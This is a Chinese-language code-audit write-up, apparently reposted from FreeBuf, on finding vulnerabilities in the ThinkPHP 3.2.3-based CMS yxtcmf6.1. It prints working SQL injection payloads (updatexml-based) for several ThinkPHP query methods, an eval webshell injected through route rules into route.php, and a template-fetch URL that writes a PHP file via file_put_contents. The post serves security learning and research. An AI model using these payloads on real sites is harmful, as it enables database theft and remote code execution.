前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于ThinkPHP的CMS审计思路

基于ThinkPHP的CMS审计思路

作者头像
FB客服
发布2020-07-15 15:25:01
2K1
发布2020-07-15 15:25:01
举报
文章被收录于专栏:FreeBufFreeBuf

前言

yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。

审计思路

由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。

准备工具

phpstorm,Seay源码审计系统,phpstudy,AWVS

0x00 了解文件结构和路由方式

路由方式

例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index

则对应的文件目录为/application/User/LoginController.class.php,函数为index()

0x01 了解thinkphp3.2.3的漏洞

自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下

tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的

1.->where(“可控参数”)->find()

代码语言:javascript
复制
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

测试代码如上,传入参数username[0]=exp&username[1]==’admin’ and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分

结果构成如下sql语句

这里接收传参的方法必须不为I($_GET[‘username’]),否则会检测值内是否含有’exp’,如果有,就会加上空格变为’exp ‘

2.->find/select/delete(“可控参数”)

代码语言:javascript
复制
$id=I("id");$data=M("users")->find($id);

测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪

最后得到sql语句如下,不需要单引号闭合也可完成注入

find()换成select()或者delete()也是一样的效果

3.->where(“可控参数”)->save(“可控参数”)

代码语言:javascript
复制
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪

4.->order(“可控参数”)->find()

代码语言:javascript
复制
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

测试代码如上,传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]

最后的sql语句如下

了解了几个tp3.2.3的sql注入后,就可以搜索这些关键词来寻找sql注入

0x02 全局搜索sql注入

正则学的不是很好,所以这里全局搜索虽然支持正则,但是没去用,只能写点简单的关键词来搜索,还望师傅们指点指点

全局搜索->find(

1.后台Ad控制器sql注入

点进去第一条发现where()内的id可控,“ad_id=id”,可能不需要单引号闭合就可以sql注入

先随便传个参数看看sql语句是怎样的

竟然这样,就可以用括号闭合来注入了

2.前台register控制器sql注入

看看$where是否可控

于是构造payload如下

3.前台login控制器sql注入

这里一共有三处同样的关键词,需要注意的一点是,这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。

第一处

第二处

第三处

第一处和第二处所在的函数都是在dologin()函数内调用的

接下来在第二处所在页面传参payload看看

结果出现错误提示,那么就调试跟踪看看是哪里的问题

然后继续跟进这行代码,

最后看看第三处

后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型,或者不可控,并且也没有看到fin()内有可控参数的。

全局搜索->select/delete(

这两都没找到select/delete()里面有可控参数的

全局搜索->save(

这里找的也是不符合可能存在漏洞的条件

全局搜素->order(

同上,没看到order()内有可控参数的

0x03 自动审计

通过自动审计扫出了800多条结果,但是并不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,还有刚刚分析过了sql注入,那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的,如果没有看到输出的语句也可以放弃了,而像readfile(),unlink()这种可以直接得到执行结果的,就要重点关注一下。

0x04 后台任意文件读取

翻着翻着找到了这里,进去看看变量是否可控

0x05 后台文件写入getshell

翻到这里,点进去看看

那么如果能在route表中的full_url字段中插入一句话木马,就可以将其写入到route.php里面了

上面的1212-1217行需要注意一下

parse_url($full_url)将里面的值解析,并将相应的值组合成数组,例子如下

如果$a直接填a/b/c/d,那么array[path]=a/b/c/d

继续看到1215-1217行

所以full_url的字段必须含有 a/b/c 这样的形式

全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它

虽然index()函数下没有插入表的语句,但是下面还有add()函数进行数据库插入,先打开这个index页面看看

发现有添加url规则

确实是在add()下,并且原始网址的变量名为full_url,加下来都输入111验证下是否是插入route表

接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写

因为这是个php文件,所以不需要插入<>了,只要能插入单引号闭合,那么就可以将一句话木马插入

先插入带单引号的数据测试一下

然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload

代码语言:javascript
复制
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'

添加完后会自动跳转到url美化界面,也就是调用route控制器的index()函数,完成写入route.php的操作

然后成功执行phpinfo()

0x06 前台文件写入getshell

这个是在百度上找到的,而且比较复杂,小弟水平有限,调试了很多遍才知道在哪执行的写入。

代码语言:javascript
复制
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

由于前面跟进了很多文件和函数,跟进步骤比较繁琐,我在这就直接贴出最后关键的地方

先回调has方法检查有没有’’5f068… 这个php文件,如果没有,则回调put写入这个文件

这里的$content就包含了payload里写入的值

如果有’’5f068… 这个文件,那么就回调load函数,然后文件包含’’5f068… ,里面的代码被执行,那么test.php文件就被写入了

0x07 AWVS扫描

AWVS并没有扫出来什么…

总结

自动审计除了这些验证出漏洞的地方,还有很多不存在漏洞的地方我也看了,要么就是参数不可控,要么就是做了防护。虽然不用每一条结果都去看,但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助,有问题的地方也还望师傅们指出。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 审计思路
      • 准备工具
      • 0x00 了解文件结构和路由方式
      • 0x01 了解thinkphp3.2.3的漏洞
      • 0x02 全局搜索sql注入
        • 全局搜索->find(
          • 1.后台Ad控制器sql注入
            • 2.前台register控制器sql注入
              • 3.前台login控制器sql注入
              • 0x03 自动审计
              • 0x04 后台任意文件读取
              • 0x05 后台文件写入getshell
              • 0x06 前台文件写入getshell
              • 0x07 AWVS扫描
              • 总结
              相关产品与服务
              代码审计
              代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档